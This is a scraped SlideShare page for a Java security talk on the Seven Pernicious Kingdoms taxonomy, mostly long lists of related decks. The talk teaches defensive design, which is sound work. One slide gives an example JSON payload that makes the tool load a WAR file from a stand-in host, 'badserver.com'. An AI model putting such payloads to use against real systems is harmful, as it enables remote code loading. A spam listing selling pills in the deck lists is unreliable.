Eclipse OMR: a modern, open-source toolkit for building language runtimes
 
Kerberos Authentication Process In Windows
Kerberos Authentication Process In WindowsKerberos Authentication Process In Windows
Kerberos Authentication Process In Windows
 
AWS re:Invent 2016: Serverless Authentication and Authorization: Identity Man...
AWS re:Invent 2016: Serverless Authentication and Authorization: Identity Man...AWS re:Invent 2016: Serverless Authentication and Authorization: Identity Man...
AWS re:Invent 2016: Serverless Authentication and Authorization: Identity Man...
 
OAuth with AngularJS and WebAPI - SoCal Code Camp 2015
OAuth with AngularJS and WebAPI - SoCal Code Camp 2015OAuth with AngularJS and WebAPI - SoCal Code Camp 2015
OAuth with AngularJS and WebAPI - SoCal Code Camp 2015
 
Stateless authentication for microservices - GR8Conf 2015
Stateless authentication for microservices - GR8Conf 2015Stateless authentication for microservices - GR8Conf 2015
Stateless authentication for microservices - GR8Conf 2015
 
Stateless authentication with OAuth 2 and JWT - JavaZone 2015
Stateless authentication with OAuth 2 and JWT - JavaZone 2015Stateless authentication with OAuth 2 and JWT - JavaZone 2015
Stateless authentication with OAuth 2 and JWT - JavaZone 2015
 
An Authentication and Authorization Architecture for a Microservices World
An Authentication and Authorization Architecture for a Microservices WorldAn Authentication and Authorization Architecture for a Microservices World
An Authentication and Authorization Architecture for a Microservices World
 
Building an API Security Ecosystem
Building an API Security EcosystemBuilding an API Security Ecosystem
Building an API Security Ecosystem
 

Similaire à Locking the Doors -7 Pernicious Pitfalls to avoid with Java

API Testing and Hacking (1).pdf
API Testing and Hacking (1).pdfAPI Testing and Hacking (1).pdf
API Testing and Hacking (1).pdfVishwas N
 
API Testing and Hacking.pdf
API Testing and Hacking.pdfAPI Testing and Hacking.pdf
API Testing and Hacking.pdfVishwas N
 
API Testing and Hacking.pdf
API Testing and Hacking.pdfAPI Testing and Hacking.pdf
API Testing and Hacking.pdfVishwasN6
 
Java application security the hard way - a workshop for the serious developer
Java application security the hard way - a workshop for the serious developerJava application security the hard way - a workshop for the serious developer
Java application security the hard way - a workshop for the serious developerSteve Poole
 
Let's get evil - threat modeling at scale
Let's get evil - threat modeling at scaleLet's get evil - threat modeling at scale
Let's get evil - threat modeling at scaleSecuRing
 
Securing a Cloud Migration
Securing a Cloud MigrationSecuring a Cloud Migration
Securing a Cloud MigrationVMware Tanzu
 
[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scaleOWASP
 
CodeOne SF 2018 "Are you deploying and operating with security in mind?"
CodeOne SF 2018 "Are you deploying and operating with security in mind?"CodeOne SF 2018 "Are you deploying and operating with security in mind?"
CodeOne SF 2018 "Are you deploying and operating with security in mind?"Daniel Bryant
 
PeopleSoft: HACK THE Planet^W university
PeopleSoft: HACK THE  Planet^W universityPeopleSoft: HACK THE  Planet^W university
PeopleSoft: HACK THE Planet^W universityDmitry Iudin
 
Real-World WebAppSec Flaws - Examples and Countermeasues
Real-World WebAppSec Flaws - Examples and CountermeasuesReal-World WebAppSec Flaws - Examples and Countermeasues
Real-World WebAppSec Flaws - Examples and Countermeasuesvolvent
 
Spring in the Cloud - using Spring with Cloud Foundry
Spring in the Cloud - using Spring with Cloud FoundrySpring in the Cloud - using Spring with Cloud Foundry
Spring in the Cloud - using Spring with Cloud FoundryJoshua Long
 
(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS UniverseStefano Di Paola
 
Seven perilous pitfalls to avoid with Java | DevNation Tech Talk
Seven perilous pitfalls to avoid with Java | DevNation Tech TalkSeven perilous pitfalls to avoid with Java | DevNation Tech Talk
Seven perilous pitfalls to avoid with Java | DevNation Tech TalkRed Hat Developers
 
I Am MongoDB – And So Can You!
I Am MongoDB – And So Can You!I Am MongoDB – And So Can You!
I Am MongoDB – And So Can You!MongoDB
 
42crunch-API-security-workshop
42crunch-API-security-workshop42crunch-API-security-workshop
42crunch-API-security-workshop42Crunch
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...CODE BLUE
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecuritiesamiable_indian
 
Java Hurdling: Obstacles and Techniques in Java Client Penetration-Testing
Java Hurdling: Obstacles and Techniques in Java Client Penetration-TestingJava Hurdling: Obstacles and Techniques in Java Client Penetration-Testing
Java Hurdling: Obstacles and Techniques in Java Client Penetration-TestingTal Melamed
 

Similaire à Locking the Doors -7 Pernicious Pitfalls to avoid with Java (20)

API Testing and Hacking (1).pdf
API Testing and Hacking (1).pdfAPI Testing and Hacking (1).pdf
API Testing and Hacking (1).pdf
 
API Testing and Hacking.pdf
API Testing and Hacking.pdfAPI Testing and Hacking.pdf
API Testing and Hacking.pdf
 
API Testing and Hacking.pdf
API Testing and Hacking.pdfAPI Testing and Hacking.pdf
API Testing and Hacking.pdf
 
Java application security the hard way - a workshop for the serious developer
Java application security the hard way - a workshop for the serious developerJava application security the hard way - a workshop for the serious developer
Java application security the hard way - a workshop for the serious developer
 
Let's get evil - threat modeling at scale
Let's get evil - threat modeling at scaleLet's get evil - threat modeling at scale
Let's get evil - threat modeling at scale
 
Securing a Cloud Migration
Securing a Cloud MigrationSecuring a Cloud Migration
Securing a Cloud Migration
 
Securing a Cloud Migration
Securing a Cloud MigrationSecuring a Cloud Migration
Securing a Cloud Migration
 
Hacking mobile apps
Hacking mobile appsHacking mobile apps
Hacking mobile apps
 
[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale
 
CodeOne SF 2018 "Are you deploying and operating with security in mind?"
CodeOne SF 2018 "Are you deploying and operating with security in mind?"CodeOne SF 2018 "Are you deploying and operating with security in mind?"
CodeOne SF 2018 "Are you deploying and operating with security in mind?"
 
PeopleSoft: HACK THE Planet^W university
PeopleSoft: HACK THE  Planet^W universityPeopleSoft: HACK THE  Planet^W university
PeopleSoft: HACK THE Planet^W university
 
Real-World WebAppSec Flaws - Examples and Countermeasues
Real-World WebAppSec Flaws - Examples and CountermeasuesReal-World WebAppSec Flaws - Examples and Countermeasues
Real-World WebAppSec Flaws - Examples and Countermeasues
 
Spring in the Cloud - using Spring with Cloud Foundry
Spring in the Cloud - using Spring with Cloud FoundrySpring in the Cloud - using Spring with Cloud Foundry
Spring in the Cloud - using Spring with Cloud Foundry
 
(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe
 
Seven perilous pitfalls to avoid with Java | DevNation Tech Talk
Seven perilous pitfalls to avoid with Java | DevNation Tech TalkSeven perilous pitfalls to avoid with Java | DevNation Tech Talk
Seven perilous pitfalls to avoid with Java | DevNation Tech Talk
 
I Am MongoDB – And So Can You!
I Am MongoDB – And So Can You!I Am MongoDB – And So Can You!
I Am MongoDB – And So Can You!
 
42crunch-API-security-workshop
42crunch-API-security-workshop42crunch-API-security-workshop
42crunch-API-security-workshop
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Java Hurdling: Obstacles and Techniques in Java Client Penetration-Testing
Java Hurdling: Obstacles and Techniques in Java Client Penetration-TestingJava Hurdling: Obstacles and Techniques in Java Client Penetration-Testing
Java Hurdling: Obstacles and Techniques in Java Client Penetration-Testing
 

Plus de Steve Poole

Key Takeaways for Java Developers from the State of the Software Supply Chain...
Key Takeaways for Java Developers from the State of the Software Supply Chain...Key Takeaways for Java Developers from the State of the Software Supply Chain...
Key Takeaways for Java Developers from the State of the Software Supply Chain...Steve Poole
 
THRIVING IN THE GEN AI ERA: NAVIGATING CHANGE IN TECH
THRIVING IN THE GEN AI ERA: NAVIGATING CHANGE IN TECHTHRIVING IN THE GEN AI ERA: NAVIGATING CHANGE IN TECH
THRIVING IN THE GEN AI ERA: NAVIGATING CHANGE IN TECHSteve Poole
 
Maven Central++ What's happening at the core of the Java supply chain
Maven Central++ What's happening at the core of the Java supply chainMaven Central++ What's happening at the core of the Java supply chain
Maven Central++ What's happening at the core of the Java supply chainSteve Poole
 
GIDS-2023 A New Hope for 2023? What Developers Must Learn Next
GIDS-2023 A New Hope for 2023? What Developers Must Learn NextGIDS-2023 A New Hope for 2023? What Developers Must Learn Next
GIDS-2023 A New Hope for 2023? What Developers Must Learn NextSteve Poole
 
A new hope for 2023? What developers must learn next
A new hope for 2023? What developers must learn nextA new hope for 2023? What developers must learn next
A new hope for 2023? What developers must learn nextSteve Poole
 
Stop Security by Sleight Of Hand.pptx
Stop Security by Sleight Of Hand.pptxStop Security by Sleight Of Hand.pptx
Stop Security by Sleight Of Hand.pptxSteve Poole
 
Superman or Ironman - can everyone be a 10x developer?
Superman or Ironman - can everyone be a 10x developer?Superman or Ironman - can everyone be a 10x developer?
Superman or Ironman - can everyone be a 10x developer?Steve Poole
 
The Secret Life of Maven Central
The Secret Life of Maven CentralThe Secret Life of Maven Central
The Secret Life of Maven CentralSteve Poole
 
The Secret Life of Maven Central.pptx
The Secret Life of Maven Central.pptxThe Secret Life of Maven Central.pptx
The Secret Life of Maven Central.pptxSteve Poole
 
Devoxx France 2022: Game Over or Game Changing? Why Software Development May ...
Devoxx France 2022: Game Over or Game Changing? Why Software Development May ...Devoxx France 2022: Game Over or Game Changing? Why Software Development May ...
Devoxx France 2022: Game Over or Game Changing? Why Software Development May ...Steve Poole
 
Log4Shell - Armageddon or Opportunity.pptx
Log4Shell - Armageddon or Opportunity.pptxLog4Shell - Armageddon or Opportunity.pptx
Log4Shell - Armageddon or Opportunity.pptxSteve Poole
 
DevnexusRansomeware.pptx
DevnexusRansomeware.pptxDevnexusRansomeware.pptx
DevnexusRansomeware.pptxSteve Poole
 
Game Over or Game Changing? Why Software Development May Never be the same again
Game Over or Game Changing? Why Software Development May Never be the same againGame Over or Game Changing? Why Software Development May Never be the same again
Game Over or Game Changing? Why Software Development May Never be the same againSteve Poole
 
Cybercrime and the developer 2021 style
Cybercrime and the developer 2021 styleCybercrime and the developer 2021 style
Cybercrime and the developer 2021 styleSteve Poole
 
Agile Islands 2020 - Dashboards and Culture
Agile Islands 2020 - Dashboards and CultureAgile Islands 2020 - Dashboards and Culture
Agile Islands 2020 - Dashboards and CultureSteve Poole
 
LJC Speaker Clnic June 2020
LJC Speaker Clnic June 2020LJC Speaker Clnic June 2020
LJC Speaker Clnic June 2020Steve Poole
 
Agile Tour London 2018: DASHBOARDS AND CULTURE – HOW OPENNESS CHANGES YOUR BE...
Agile Tour London 2018: DASHBOARDS AND CULTURE – HOW OPENNESS CHANGES YOUR BE...Agile Tour London 2018: DASHBOARDS AND CULTURE – HOW OPENNESS CHANGES YOUR BE...
Agile Tour London 2018: DASHBOARDS AND CULTURE – HOW OPENNESS CHANGES YOUR BE...Steve Poole
 
Beyond the Pi: What’s Next for the Hacker in All of Us?
Beyond the Pi: What’s Next for the Hacker in All of Us?Beyond the Pi: What’s Next for the Hacker in All of Us?
Beyond the Pi: What’s Next for the Hacker in All of Us?Steve Poole
 
A Modern Fairy Tale: Java Serialization
A Modern Fairy Tale: Java Serialization A Modern Fairy Tale: Java Serialization
A Modern Fairy Tale: Java Serialization Steve Poole
 
Eclipse OpenJ9 - SpringOne 2018 Lightning talk
Eclipse OpenJ9 - SpringOne 2018 Lightning talkEclipse OpenJ9 - SpringOne 2018 Lightning talk
Eclipse OpenJ9 - SpringOne 2018 Lightning talkSteve Poole
 

Plus de Steve Poole (20)

Key Takeaways for Java Developers from the State of the Software Supply Chain...
Key Takeaways for Java Developers from the State of the Software Supply Chain...Key Takeaways for Java Developers from the State of the Software Supply Chain...
Key Takeaways for Java Developers from the State of the Software Supply Chain...
 
THRIVING IN THE GEN AI ERA: NAVIGATING CHANGE IN TECH
THRIVING IN THE GEN AI ERA: NAVIGATING CHANGE IN TECHTHRIVING IN THE GEN AI ERA: NAVIGATING CHANGE IN TECH
THRIVING IN THE GEN AI ERA: NAVIGATING CHANGE IN TECH
 
Maven Central++ What's happening at the core of the Java supply chain
Maven Central++ What's happening at the core of the Java supply chainMaven Central++ What's happening at the core of the Java supply chain
Maven Central++ What's happening at the core of the Java supply chain
 
GIDS-2023 A New Hope for 2023? What Developers Must Learn Next
GIDS-2023 A New Hope for 2023? What Developers Must Learn NextGIDS-2023 A New Hope for 2023? What Developers Must Learn Next
GIDS-2023 A New Hope for 2023? What Developers Must Learn Next
 
A new hope for 2023? What developers must learn next
A new hope for 2023? What developers must learn nextA new hope for 2023? What developers must learn next
A new hope for 2023? What developers must learn next
 
Stop Security by Sleight Of Hand.pptx
Stop Security by Sleight Of Hand.pptxStop Security by Sleight Of Hand.pptx
Stop Security by Sleight Of Hand.pptx
 
Superman or Ironman - can everyone be a 10x developer?
Superman or Ironman - can everyone be a 10x developer?Superman or Ironman - can everyone be a 10x developer?
Superman or Ironman - can everyone be a 10x developer?
 
The Secret Life of Maven Central
The Secret Life of Maven CentralThe Secret Life of Maven Central
The Secret Life of Maven Central
 
The Secret Life of Maven Central.pptx
The Secret Life of Maven Central.pptxThe Secret Life of Maven Central.pptx
The Secret Life of Maven Central.pptx
 
Devoxx France 2022: Game Over or Game Changing? Why Software Development May ...
Devoxx France 2022: Game Over or Game Changing? Why Software Development May ...Devoxx France 2022: Game Over or Game Changing? Why Software Development May ...
Devoxx France 2022: Game Over or Game Changing? Why Software Development May ...
 
Log4Shell - Armageddon or Opportunity.pptx
Log4Shell - Armageddon or Opportunity.pptxLog4Shell - Armageddon or Opportunity.pptx
Log4Shell - Armageddon or Opportunity.pptx
 
DevnexusRansomeware.pptx
DevnexusRansomeware.pptxDevnexusRansomeware.pptx
DevnexusRansomeware.pptx
 
Game Over or Game Changing? Why Software Development May Never be the same again
Game Over or Game Changing? Why Software Development May Never be the same againGame Over or Game Changing? Why Software Development May Never be the same again
Game Over or Game Changing? Why Software Development May Never be the same again
 
Cybercrime and the developer 2021 style
Cybercrime and the developer 2021 styleCybercrime and the developer 2021 style
Cybercrime and the developer 2021 style
 
Agile Islands 2020 - Dashboards and Culture
Agile Islands 2020 - Dashboards and CultureAgile Islands 2020 - Dashboards and Culture
Agile Islands 2020 - Dashboards and Culture
 
LJC Speaker Clnic June 2020
LJC Speaker Clnic June 2020LJC Speaker Clnic June 2020
LJC Speaker Clnic June 2020
 
Agile Tour London 2018: DASHBOARDS AND CULTURE – HOW OPENNESS CHANGES YOUR BE...
Agile Tour London 2018: DASHBOARDS AND CULTURE – HOW OPENNESS CHANGES YOUR BE...Agile Tour London 2018: DASHBOARDS AND CULTURE – HOW OPENNESS CHANGES YOUR BE...
Agile Tour London 2018: DASHBOARDS AND CULTURE – HOW OPENNESS CHANGES YOUR BE...
 
Beyond the Pi: What’s Next for the Hacker in All of Us?
Beyond the Pi: What’s Next for the Hacker in All of Us?Beyond the Pi: What’s Next for the Hacker in All of Us?
Beyond the Pi: What’s Next for the Hacker in All of Us?
 
A Modern Fairy Tale: Java Serialization
A Modern Fairy Tale: Java Serialization A Modern Fairy Tale: Java Serialization
A Modern Fairy Tale: Java Serialization
 
Eclipse OpenJ9 - SpringOne 2018 Lightning talk
Eclipse OpenJ9 - SpringOne 2018 Lightning talkEclipse OpenJ9 - SpringOne 2018 Lightning talk
Eclipse OpenJ9 - SpringOne 2018 Lightning talk
 

Dernier

introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdfintroduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdfVishalKumarJha10
 
8257 interfacing 2 in microprocessor for btech students
8257 interfacing 2 in microprocessor for btech students8257 interfacing 2 in microprocessor for btech students
8257 interfacing 2 in microprocessor for btech studentsHimanshiGarg82
 
Exploring the Best Video Editing App.pdf
Exploring the Best Video Editing App.pdfExploring the Best Video Editing App.pdf
Exploring the Best Video Editing App.pdfproinshot.com
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...panagenda
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfkalichargn70th171
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfkalichargn70th171
 
Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsArshad QA
 
How to Choose the Right Laravel Development Partner in New York City_compress...
How to Choose the Right Laravel Development Partner in New York City_compress...How to Choose the Right Laravel Development Partner in New York City_compress...
How to Choose the Right Laravel Development Partner in New York City_compress...software pro Development
 
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...Health
 
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
Direct Style Effect Systems -The Print[A] Example- A Comprehension AidDirect Style Effect Systems -The Print[A] Example- A Comprehension Aid
Direct Style Effect Systems - The Print[A] Example - A Comprehension AidPhilip Schwarz
 
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...kalichargn70th171
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsJhone kinadey
 
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM TechniquesAI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM TechniquesVictorSzoltysek
 
VTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learnVTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learnAmarnathKambale
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsAlberto González Trastoy
 
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...harshavardhanraghave
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...ICS
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Steffen Staab
 
Azure_Native_Qumulo_High_Performance_Compute_Benchmarks.pdf
Azure_Native_Qumulo_High_Performance_Compute_Benchmarks.pdfAzure_Native_Qumulo_High_Performance_Compute_Benchmarks.pdf
Azure_Native_Qumulo_High_Performance_Compute_Benchmarks.pdfryanfarris8
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdfWave PLM
 

Dernier (20)

introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdfintroduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
 
8257 interfacing 2 in microprocessor for btech students
8257 interfacing 2 in microprocessor for btech students8257 interfacing 2 in microprocessor for btech students
8257 interfacing 2 in microprocessor for btech students
 
Exploring the Best Video Editing App.pdf
Exploring the Best Video Editing App.pdfExploring the Best Video Editing App.pdf
Exploring the Best Video Editing App.pdf
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview Questions
 
How to Choose the Right Laravel Development Partner in New York City_compress...
How to Choose the Right Laravel Development Partner in New York City_compress...How to Choose the Right Laravel Development Partner in New York City_compress...
How to Choose the Right Laravel Development Partner in New York City_compress...
 
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
 
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
Direct Style Effect Systems -The Print[A] Example- A Comprehension AidDirect Style Effect Systems -The Print[A] Example- A Comprehension Aid
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
 
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial Goals
 
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM TechniquesAI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
 
VTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learnVTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learn
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
 
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
 
Azure_Native_Qumulo_High_Performance_Compute_Benchmarks.pdf
Azure_Native_Qumulo_High_Performance_Compute_Benchmarks.pdfAzure_Native_Qumulo_High_Performance_Compute_Benchmarks.pdf
Azure_Native_Qumulo_High_Performance_Compute_Benchmarks.pdf
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 

Locking the Doors -7 Pernicious Pitfalls to avoid with Java

  • 1. Locking the Doors : 7 Pernicious Pitfalls to avoid with Java Steve Poole JAX 2018
  • 2. About me Steve Poole IBM Lead Engineer / Developer advocate Making Java Real Since Version 0.9 Open Source Advocate DevOps Practitioner (whatever that means!) Driving Change
  • 4. This talk is about security • It’s about how to start thinking about secure application design • It’s about why this really matters • It’s a taster only
  • 5. But first an important message
  • 6. In 2016 Cybercrime was estimated to be worth 450 Billion Dollars @spoole167 Organized Cybercrime is the most profitable type of crime In 2016 The illicit drug trade was estimated to be worth 435 Billion Dollars
  • 7. Organized Cybercrime is the most profitable type of crime • Guess which one has the least risk to the criminal ? • Guess which is growing the fastest ? • Guess which one is the hardest to prosecute ? • Guess which one is predicted to reach 2100 Billion Dollars by 2019? • Guess which one is predicted to reach 6000 Billion Dollars by 2021? @spoole167
  • 8. 0 1000 2000 3000 4000 5000 6000 2013 2014 2015 2016 2017 2018 2019 2020 2021 Cybercrime Drug trade
  • 9. That’s about €600 for every person on the planet
  • 10. Cyber attackers use vulnerabilities to get into your system And go through your system to another (and repeat) To steal your data To change your data To crash your systems Use your compute power
  • 11. Vulnerabilities are almost always simple there are no smoking guns Exploits are chaining together vulnerabilities https://www.flickr.com/photos/84744710@N06/
  • 12. This talk is giving you a taster for how you can design your software to be less vulnerable to attack
  • 13. So: why “7 Pernicious Kingdoms” ?
  • 14. A bit of a marketing exercise • 2005 Fortify Software released a paper called “Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors” • It caught on among the security community
  • 15. In fact there are more than 7 
  • 16. Seven Pernicious Kingdoms Security Features Time and State Errors Input Validation and Representation API Abuse Code Quality Encapsulation Environment
  • 17. Todays count of Java vulnerabilities
  • 18. Vulnerabilities are the way in for an attacker. Then they’ll look around you application
  • 19. Authentication, access control, confidentiality, cryptography, privilege management. Unexpected interactions between threads, processes, time, and information (shared state) Errors related to error handling Problems caused by metacharacters, alternate encodings and numeric representations. General security problems result from trusting input. Using an API in a manner contrary to its intended use Insufficient encapsulation of critical data or functionality Everything that is outside of the source code but is still critical to the security of the application Time and State Poor code quality leading to unpredictable behaviour and opportunities to stress the system in unexpected ways. Errors API abuse Code Quality Security Features Encapsulation Input Validation and Representation Environment
  • 20. Talk Flow Using a real scenario walk though some of the 7PK looking at code and thinking about design
  • 21. My scenario • I’m developing a tool for Adopt OpenJDK • Make it easy for others to get the new drivers • Make it easy to try out the new Java versions with common app servers and user applications. • It’s designed to run locally
  • 24. Problems caused by metacharacters, alternate encodings and numeric representations. General security problems result from trusting input. Input Validation and Representation
  • 25. Input Validation and Representation Forms Input. Browser javascript code validates the form Send the data to the server over a websocket as JSON. Server turns JSON into Java object assuming it’s a valid PlimsollCommand object public class PlimsollCommand { public String type; public Object msg; } { ‘type’ : cmd_id , ‘msg’ : {} }
  • 26. Input Validation and Representation Forms Input. Browser javascript code validates the form Send the data to the server over a websocket as JSON. Server turns JSON into Java object assuming it’s a valid PlimsollCommand object public class PlimsollCommand { public String type; public Object msg; } Actually I expect a Map but Object is easier to use with the JSON parser { ‘type’ : cmd_id , ‘msg’ : {} }
  • 27. Input Validation and Representation My application only expects local war files to be loaded… { ‘type’ : ‘upload’ , ‘msg’ : { ‘war’ : ‘file://dir/app.war’ } } This example gets converted into java objects quite easily. Lets the user point me at their application on disk. What happens if the browser sends me this? { ‘type’ : ‘upload’ , ‘msg’ : { ‘war’ : ‘http://badserver.com/badapp.war’ } }
  • 28. Input Validation and Representation Forms Input. Browser javascript code validates the form Send the data to the server over a websocket as JSON. Server turns JSON into Java object assuming it’s a valid PlimsollCommand object public class PlimsollCommand { public String type; public Object msg; } What would happen if the JSON data was actually a list? { ‘type’ : cmd_id , ‘msg’ : [ ‘a’ , ‘bad’ , ‘thing’ ] }
